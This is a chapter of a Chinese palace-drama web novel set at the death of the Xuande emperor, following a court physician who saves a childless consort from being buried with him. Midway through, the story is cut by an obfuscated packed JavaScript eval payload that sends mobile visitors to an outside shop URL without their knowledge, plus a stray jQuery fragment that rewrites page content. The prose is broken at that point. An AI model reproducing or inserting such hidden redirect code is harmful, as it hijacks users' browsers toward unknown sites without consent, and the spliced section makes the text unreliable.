宣德十年之春，来得格外迟。
正月初三，天尚未破晓，沈宗秀便被一阵急促的叩门声惊醒。桃茗披衣前去开门，门扇刚启一道缝隙，凛冽寒风便灌了进来，吹得案上烛火摇曳不止。
“沈医女！”来人乃是太医院小太监，面色惨白，“皇上昨夜病情骤重，太医院众臣皆已赶往乾清宫。陈太医命奴才前来通传，让您即刻预备，随时听候传召。”
沈宗秀心头一沉，翻身下床，手脚麻利地更衣。她无暇梳理青丝，只取那支青玉簪将长发挽作发髻，又从枕下摸出那包银针，揣入袖中。
“桃茗，你留守屋内便是。”沈宗秀一边束着衣带，一边吩咐道。
“沈姐姐，我陪你一同前去！”桃茗早已穿戴整齐。
“不必。”沈宗秀按住她的手腕，“乾清宫此刻人多杂乱，你留在此处替我看顾屋子，等我归来。”
桃茗抿了抿唇，终是点了点头。
沈宗秀推门而出。正月初三的清晨，寒气砭骨，天幕仍是一片墨蓝，唯有东方透出一抹微白。她提着一盏小灯笼，紧随小太监快步穿过回廊，脚下青石板覆着薄霜，步履间颇显湿滑。
此时的乾清宫，早已灯火通明。
殿外跪满了宫人臣僚，太医院院正刘谦之、院判赵铭、数位资深太医，连同陈绍麟，皆跪在冰冷的石砖之上。张太后端坐正殿上首，面色沉凝如冰；孙皇后立在她身侧，指尖捻着佛珠，眼眶通红。
沈宗秀赶到殿外，驻足而立。陈绍麟瞥见她，微微颔首，示意她跪至自己身侧。
“陈大人，情形如何？”沈宗秀低声问询。
陈绍麟压着嗓音回道：“皇上本就患消渴之症，加之日夜操劳，龙体早已亏虚。昨夜亥时病情急转直下，至今昏迷不醒。”
沈宗秀的手，不自觉地攥紧了袖中银针。
殿内传来刘谦之的声音，正向张太后禀奏：“……皇上脉象微弱，气若游丝，臣等……臣等实在无能为力……”
张太后的声音不高，却带着不容置喙的威压：“无能为力？哀家豢养太医院数十载，临到关键时刻，尔等便是这般回话？”
殿内霎时一片死寂，无人敢接言。
沈宗秀跪在殿外，听着殿内的沉默，心下擂鼓不止。
宣宗驾崩
天边刚泛起鱼肚白，乾清宫内便传出撕心裂肺的哭声，一声接着一声，穿透殿宇。张太后的哭喊最为凄厉：“皇儿……我的皇儿啊……”
孙皇后未曾出声，可沈宗秀见她被宫人搀扶着走出殿来，面色惨白如纸，眼眶赤红，唇瓣不住颤抖。
沈宗秀心知，宣宗朱瞻基，已然驾崩。
她跪在冰冷的石砖上，听着殿内殿外哭声此起彼伏，脑中一片空白。宣宗陛下，她虽未曾几次觐见，甚至未曾说过几句话，可他是大明天子，是这大明的天。
如今，天，塌了。
太监们相继传旨，六宫尽着缟素，百官入宫哭临。沈宗秀缓缓起身，双腿酸软无力，扶着廊柱伫立片刻，才勉强稳住身形。
陈绍麟走到她身侧，低声叮嘱：“阿秀，你先回去。这几日宫中必定大乱，你好生照料太后娘娘。”
“是，陈大人。”沈宗秀颔首，转身离去。行出乾清宫时，身后传来一声悠长的丧钟。
当——
钟声在清晨寒风中回荡，一声，又一声，重重敲在每一个人心上。
新君即位
宣宗驾崩的消息迅速传遍宫闱，六宫哭声震天。
沈宗秀跪于太医院值房之中，听着远处哀钟一声声敲响，每一声都似重锤砸在心头。她并非为先帝悲泣——她本就与先帝未曾谋面，只是被这突如其来的惊天巨变，震得心神难安。
新帝随即即位，乃是原太子朱祁镇，为先帝宣宗之子，年仅九岁。
张太后被尊为太皇太后，虽不再垂帘听政，可朝中大小事务，仍需禀请她定夺；孙皇后被尊为皇太后，执掌后宫诸事。一朝天子一朝臣，宫中气氛骤然紧绷，连空气都似拉满的弓弦，一触即发。
沈宗秀侍奉的主上，从皇后变成了皇太后。
称谓虽改，日常琐事却未变。她依旧每日晨起熬粥，前往慈宁宫请脉，赴太医院领取药材，回小厨房炖煮药膳汤粥。可她心底清楚，这宫里的一切，早已物是人非。
她依旧习惯称太皇太后为张太后，老人家这几日精神尚可，只是言语比往日少了许多；也依旧习惯称皇太后为孙皇后，皇太后每日前往慈宁宫给太皇太后请安，二人商议朝政，每每一谈便是大半个时辰。
沈宗秀在帘后端茶倒水，偶尔听得“王振”“于谦”“朝堂”等只言片语，心中了然，新帝年幼，朝堂之上，人心已然浮动。
心事
正月初十。
用过早膳，沈宗秀入殿为皇太后请脉。
皇太后斜倚在软榻之上，双眼红肿，显然是昨夜彻夜未眠。沈宗秀指尖搭上她的腕脉，脉象细弱，显是心力交瘁之症。
“太后，臣已为您熬好参汤，您饮一口吧。”
皇太后一动不动，沈宗秀便捧着汤碗，静立一旁，未曾退去。
过了许久，皇太后才伸手接过汤碗，浅啜一口，便放了下来。她望着沈宗秀，轻声问道：“宗秀，你说，本宫撑得住吗？”
沈宗秀沉声应道：“太后福泽深厚，必定能撑住。”
皇太后苦笑一声：“你如何知晓？”
沈宗秀道：“臣不知晓，可臣会一直伴在娘娘身侧。”
皇太后看着她，沉默不语，随即重新端起汤碗，将一碗参汤尽数饮尽。
放下茶碗，皇太后忽然抬眸，看向沈宗秀：“宗秀，你觉得，王振此人，可信与否？”
沈宗秀心中一震，不解皇太后为何突然问及此人，沉吟片刻，回道：“臣不懂朝堂政事，不敢妄言。”
皇太后凝望着她的眼眸，语气微沉：“阿秀，你是真不懂，还是不愿说？”
沈宗秀沉默片刻，缓缓开口：“臣以为，看人可信与否，不在其言语，而在其行事。王公公……臣实在不敢妄议。”
皇太后闻言，点了点头，未曾再追问。
沈宗秀躬身行礼，退了出去。
回到偏厢，沈宗秀独坐灯下，翻开随身手札，提笔写道：
“宣德十年，正月初十。先帝宣宗驾崩，新帝登基。皇太后心力交瘁，臣劝其保重身子。娘娘今日问臣，王振是否可信，臣不敢妄议。臣不知娘娘心中所思，只知晓，这紫禁城的天，自此往后，再不同于往日。”
她搁下笔，从枕下取出那包银针，置于掌心摩挲片刻，又重新收好。
窗外明月依旧，圆满清亮。沈宗秀闭上双眼，躺卧榻上，心中默念，明日还要早起煮粥。
恐惧
正月十五。
这日，沈宗秀前往永宁宫偏殿，为温孝怜请脉。
这段时日，温孝怜一直居于此地，往日里容光焕发的模样早已不见，取而代之的是满面憔悴，再无半分调养后的精气神。
温孝怜临窗而坐，望着院中白玉兰树，听得脚步声，却未曾回头。
“阿秀，你来了。”她的声音极轻，仿若从遥远之处飘来。
沈宗秀走上前，在她身侧落座：“娘娘，臣为您请脉。”
“嗯。”温孝怜轻应一声，伸出手腕。沈宗秀指尖搭脉，脉象细弱无力，乃是心神不宁、气血两虚之象。
“娘娘的身子，还需静心调理一段时日。您近来可是夜不能寐？”
温孝怜点了点头，声音黯淡：“是，近来夜夜难眠，一闭眼，便被梦魇缠身。”
沈宗秀心中了然，并未追问梦境内容。她深知温孝怜心中所惧——先帝驾崩，新帝年幼登基，温孝怜未曾得先帝盛宠，更未留下一儿半女，依明初祖制，无子嗣的先帝妃嫔，皆要殉葬。
“臣为娘娘开一剂安神方子。”沈宗秀道。
温孝怜却摇了摇头：“不必了，阿秀，喝了又有何用？”
沈宗秀不再多言，开好药方交予温孝怜身边宫女翠屏，又去小厨房炖了一碗安神汤，端至温孝怜面前。
“娘娘，您快饮下吧。”
温孝怜看了她一眼，端起汤碗，缓缓饮尽。放下碗后，她轻声问道：“阿秀，你说，我会不会死？”
沈宗秀看着她，语气坚定：“不会的，娘娘。”
温孝怜轻叹一声：“你如何能确定？”
沈宗秀道：“臣定会想方设法，救娘娘脱离险境。”
温孝怜摇了摇头，不再多问，转头望向窗外：“罢了，阿秀，你回去吧。”
沈宗秀起身，躬身行礼，退了出去。
走出永宁宫，沈宗秀立在廊下，清风吹拂面颊，带着刺骨凉意。她紧紧攥着袖中银针，心头似压着一块巨石，喘不过气。
殉葬。这是明初沿袭的祖制，先帝驾崩，无子嗣的妃嫔皆要殉葬。温孝怜无宠无后，按律难逃此劫。可她不过是个七品医女，能医人身疾，却破不了这冰冷的祖制。
但她，绝不能眼睁睁看着温孝怜赴死。
求见
正月十六。
沈宗秀前往仁寿宫，为皇太后请脉时，终是鼓起勇气，开口求言。
“太后，臣有一事，恳请娘娘做主。”
皇太后正批阅奏折，闻言抬眸，看向沈宗秀：“但说无妨。”
“温孝怜娘娘……她未曾为先帝诞下皇嗣，依祖制，可是要列入殉葬名单？”
皇太后听罢，沉默良久，端起茶杯浅饮一口，缓缓放下：“殉葬名单尚未最终拟定，可温孝怜，确在其中。”
沈宗秀脑中“嗡”的一声，一片空白。
“太后，”沈宗秀抬眸，眼眶泛红，“温娘娘素来体弱，根本经受不住这般苦楚……”
皇太后看着她，眼神复杂：“你是想让本宫救她？”
沈宗秀当即跪地叩首：“臣不敢妄求，只是温娘娘心性仁善，从未害过旁人，不该落得如此下场。”
皇太后轻叹一声：“阿秀，我知晓你与她情谊深厚，可祖制难违，我并非太皇太后，做不了此等决断。”
沈宗秀的心，一点点沉了下去。
“不过，”皇太后话锋一转，“你可前往慈宁宫，求见太皇太后。若是老人家肯点头应允，此事或许还有转机。”
“多谢太后娘娘指点。”沈宗秀叩首谢恩，起身退了出去。
恩典
沈宗秀不敢耽搁，径直赶往慈宁宫。
太皇太后正用午膳，见她匆匆入内，放下碗筷，开口问道：“宗秀，你来找哀家，所为何事？”
沈宗秀跪地，将温孝怜之事，一五一十尽数禀明。
太皇太后听罢，沉默许久，缓缓开口：“温孝怜，是先帝的妃嫔？”
“回太皇太后，正是。”
“未曾诞育子嗣？”
“是。”
太皇太后端起酒杯浅酌一口，放下杯盏，沉声道：“祖制不可废，可哀家，可给她一条活路。”
沈宗秀猛地抬眸。
“宫中需有人为先帝守灵，”太皇太后看着她，继续道，“温孝怜身子孱弱，不堪他任，为先帝守灵，总归是可以的。”
沈宗秀先是一怔，随即恍然大悟——守灵虽清苦孤寂，却绝非殉葬，好歹能保住性命。
“臣谢太皇太后隆恩！”她连连叩首。
太皇太后挥了挥手：“罢了，你退下吧。”
沈宗秀退出慈宁宫，立在廊下，清风吹过，激动的泪水险些夺眶而出，可她强自忍住。攥紧袖中银针，迈步朝着宫外走去。
迁往英华殿
转瞬过了一日，正月十八，温孝怜迁往英华殿。
英华殿地处紫禁城西北角，位置偏僻，院中植着一棵老松，枝干苍劲，针叶苍翠。殿内终年不见阳光，阴冷潮湿，墙皮斑驳剥落，窗纸早已泛黄。沈宗秀帮着她收拾居所，将带来的衣物、首饰、日常器物一一整理归置。
温孝怜坐在榻上，看着沈宗秀忙前忙后，忽然开口：“阿秀，你歇会儿吧。”
“娘娘，臣不累。”沈宗秀头也不抬地回道。
温孝怜轻叹一声：“你啊，向来嘴硬。”
沈宗秀未曾接话，将最后一包药材放入木柜，拍了拍手上尘埃，转身道：“娘娘，臣每日早晚前来为您请脉，若是身子不适，随时遣人告知臣。”
温孝怜点了点头，忽然伸手拉住沈宗秀的手，眼眶泛红：“阿秀，是你救了我。”
沈宗秀摇了摇头：“并非臣的功劳，是太皇太后施下恩典。”
温孝怜望着她，泪水不自觉滑落：“我心中清楚，这份恩典，是你苦苦求来的。”
沈宗秀温声道：“娘娘，您一定要好好活下去，熬过这段时日，总有转机到来。只要活着，便有希望，比什么都重要。”
温孝怜紧紧握着她的手，久久未曾松开，二人相对静坐，无言良久。
过了许久，温孝怜才缓缓松手：“阿秀，你回去吧，我会好好照顾自己。”
沈宗秀起身行礼，退了出去。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542236|203958||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
走出英华殿，她立在廊下，深吸一口气。清风拂面，凉意刺骨，可她心底，却漾起一丝暖意。温孝怜活下来了，即便居于偏僻清冷的英华殿，为先帝守灵度日，可只要活着，一切便还有希望。
父谏
太皇太后恩准温孝怜前往英华殿守灵的消息传开时，天色已然昏暗。
可慈宁宫的风波并未平息，一封书信比沈宗秀的脚步更快，从宫外径直送至太皇太后案头。书信不长，字迹端正间带着几分颤意，正是温孝怜之父温大人的亲笔：
“臣有小女，蒙圣恩入宫侍奉，未能诞育皇嗣，乃臣家教无方。今先帝大行，臣闻小女将循祖制，寝食难安。臣不敢妄议祖制，唯恳请太皇太后广施仁德，怜臣年迈体衰，留小女残躯，为臣养老送终。臣愿肝脑涂地，以报天恩。”
这封书信背后，亦是朝堂之上于谦与王振的又一场暗斗。于谦一系力主，无子妃嫔殉葬有违仁政；王振一党则紧抓祖制不放，寸步不让。
张太皇太后握着信纸，沉默良久，只留下一句：“哀家为先帝留一份仁德，也为天下为人父者，留一份念想。”
王振听闻此事后，脸色铁青，当场摔碎两个茶壶。
长安宫
正月二十。
沈宗秀从英华殿返回，途经长安宫时，忽闻一阵琴声。
琴声极轻，仿若从幽深之处飘来，断断续续，时隐时现。抚琴之人似不在意曲调工拙，只是随手拨弦，弦音清冽，一声声落在寂静宫道上，恰似石子投入深井，荡开圈圈无形涟漪。
沈宗秀驻足静听，她不通琴艺，却能从弦音中听出一股难言的心绪——非悲非怨，更像是一个人独坐许久，满腹心事无从诉说，只得借琴弦，一字一句缓缓吐露。
琴声稍歇，片刻后又起，依旧是那段曲调，反反复复，似在一遍遍诉说同一句心语。
她循声望去，只见一位素衣女子坐在长安宫门前石阶上，膝上横置一张古琴。
那琴乃仲尼式，通体髹黑漆，蛇腹断纹隐约可见，琴额镶嵌一块白玉，早已被摩挲得温润莹亮。琴弦有三根是新换的，色泽略浅，在冬日微光中泛着淡淡银白，一看便是一张历经岁月的老琴。
抚琴女子年约三十出头，面容清秀，眉眼间满是落寞。她身着素色褙子，头上只簪一支木簪，无半件珠玉首饰，朴素得如同寻常宫人。指尖按弦，指法算不上精妙娴熟，却格外沉稳，是日复一日反复弹奏练就的从容。
沈宗秀不识此人，正欲离去，桃茗轻轻拉了拉她的衣袖，压低声音道：“那是胡废后。”
沈宗秀脚步一顿。
胡废后——她是宣宗原配皇后，宣德三年被废，退居长安宫，赐号静慈仙师。她无半分过错，只因无子体弱，便被废黜后位，朝野上下皆对她心怀怜惜，张太皇太后也素来格外照拂，每逢宫宴，必令她居上座。
此时，胡废后又弹错了一个音，她停下动作，低头看着指尖，怔忪片刻，又从头弹起。这一次，她弹得极慢，一个音一个音细细确认，如同孩童蹒跚学步。
她抬眸，恰好瞥见沈宗秀，目光在她身上稍作停留，面无表情，微微颔首，算作见礼。
沈宗秀远远躬身行礼，未曾走近。
桃茗小声道：“胡娘娘实在可怜，每日只靠这张古琴打发时日，翻来覆去弹那几段曲调，也无人教她新曲。听说，这琴是先帝当年所赐，被废那年，她什么都没带，只抱着这张琴搬进了长安宫。”
沈宗秀默然无语，望着长安宫紧闭的宫门，听着断断续续的琴声，忽然想起母亲手札中的一句话：“琴者，禁也。禁邪归正，以和人心。”可胡废后抚琴，从非为了禁邪归正，只是太过孤寂罢了。
温孝怜守着英华殿，胡废后守着旧古琴，孙皇太后守着堆案奏折，莹儿守着她这个姐姐。这深宫之中的女子，各有各的执念，各有各的寂寥。
琴声再次从身后传来，依旧是那段重复的曲调，如同困在深井之人，对着井口一声声悲鸣。
沈宗秀未曾回头，迈步离去。她将那张古琴的模样深深记在心底——仲尼式，黑漆，蛇腹断纹，琴额镶白玉，琴弦新旧交错。
她暗自想着，或许有朝一日，能再听一次这琴声，到那时，胡废后能完整弹完一整首曲子。
问话
正月二十一，仁寿宫内。
沈宗秀为孙皇太后请脉时，皇太后忽然开口：“宗秀，你近来，可是在查什么事？”
沈宗秀心中一惊，不敢隐瞒，连忙回道：“回太后，臣在查……父母旧案。”
孙皇太后望着她，沉吟片刻：“那你，查到了什么？”
沈宗秀犹豫片刻，将自己寻得的郭嫔脉案、旧档朱批，以及陈绍麟的提醒，一五一十尽数禀明。
孙皇太后听罢，沉默良久，缓缓开口：“宗秀，这些事，你莫要再查了。你如今手中握着的，皆是证据，可你眼下实力不足，即便拿着证据，也无从发力。唯有等你足够强大之时，这些东西，才能派上用场。”
沈宗秀垂首：“是，娘娘，臣记下了。”
孙皇太后看着她，语气放缓：“本宫知晓你心急如焚，可你父母的旧案，绝非一朝一夕能查清。你等得起，本宫也等得起。”
沈宗秀颔首，泪水在眼眶里打转，却强忍着不曾落下。
枕边记
当夜，沈宗秀回到偏厢，关上房门，从袖中取出那包银针，一根根整齐摆放在案上。
一共十二根，一根不少。
她翻开手札，提笔写道：
“宣德十年正月。先帝宣宗驾崩，太子英宗登基，改元新朝。孙氏尊为皇太后，居仁寿宫；张氏尊为太皇太后，独居慈宁宫。温娘娘蒙太皇太后恩典，前往英华殿守灵，免去殉葬之祸。臣曾往慈宁宫求告，太皇太后恩准。温娘娘言，是臣救了她，臣深知，此乃太皇太后仁德。皇太后嘱臣，放不下的事，需沉心等待，耐得住性子，方能得偿所愿。臣，铭记于心。”
她搁下毛笔，将银针细细擦拭干净，重新包好，压在枕下。
窗外，正月二十的月色缺了一角，如同半闭的眼眸，清冷地洒下光辉。
她未曾关窗，任由月光洒满屋内。
阿娘，女儿如今正走在您当年走过的路上，前路崎岖难行，可女儿绝不会退缩。
她吹熄烛火，躺卧榻上，睁着眼望向窗外月色。
明日还要早起，去小厨房熬煮药膳粥。日子便如这粥水，需慢慢熬煮，总有熬出头的一日。
沈宗秀闭上双眼，沉沉睡去。